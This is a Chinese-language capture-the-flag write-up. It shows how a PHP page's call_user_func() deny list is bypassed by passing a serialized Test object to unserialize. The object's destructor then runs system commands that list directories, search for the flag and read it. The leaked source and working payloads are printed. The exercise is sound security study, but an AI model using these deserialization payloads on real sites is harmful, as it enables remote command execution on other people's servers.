抓包

看到網頁post提交了兩個引數，開啟hackbar發現確實傳了值。

懷疑func是函式名，引數p是函式的引數值。

猜測後臺可能是呼叫了call_user_func()方法。

這麼傳入看一下func=eval&p=<?php phpinfo()?>試一下

看來後臺還是有過濾的。

讀取一下index.php

func=file_get_contents&p=index.php得到原始碼

<?php
    $disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk",  "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
    
 
function gettime($func, $p) {
        $result = call_user_func($func, $p);
        $a= gettype($result);
        if ($a == "string") {
            return $result;
        } else {return "";}
    }
    class Test {
        var $p = "Y-m-d h:i:s a";
        var $func = "date";
        function __destruct() {
            
 
if ($this->func != "") {
                echo gettime($this->func, $this->p);
            }
        }
    }
    $func = $_REQUEST["func"];
    $p = $_REQUEST["p"];

    if ($func != null) {
        $func = strtolower($func);
        if (!in_array($func,$disable_fun)) {
            echo gettime($func
 
, $p);
        }else {
            die("Hacker...");
        }
    }
    ?>

程式碼邏輯理一遍，可以看到tes類是沒被呼叫的，我們可不可以構造php序列化建立一個類呢，然後呼叫反序列化函式。
當反序列化時，自動呼叫__destruct()函式，其中又包含著gettime方法

<?php
class Test {
    var $p = "Y-m-d h:i:s a";
    var $func = "date";
    function __destruct() {
        if ($this->func != "") {
            echo gettime($this->func, $this->p);
        }
    }
}
$a = new Test();
$b = serialize($a);
echo $b;

得到

O:4:"Test":2:{s:1:"p";s:6:"system";s:4:"func";s:2:"ls";}

post傳參func=unserialize&p=O:4:"Test":2:{s:1:"p";s:2:"ls";s:4:"func";s:6:"system";}

沒有flag 直接去根目錄找檔名帶有flag的檔案

func=unserialize&p=O:4:"Test":2:{s:1:"p";s:18:"find / -name flag*";s:4:"func";s:6:"system";}

或者是一層層的往上層目錄找

O:4:"Test":2:{s:1:"p";s:12:"ls ../../../";s:4:"func";s:6:"system";}

最終payload：func=unserialize&p=O:4:"Test":2:{s:1:"p";s:22:"cat /tmp/flagoefiu4r93";s:4:"func";s:6:"system";}

得到flag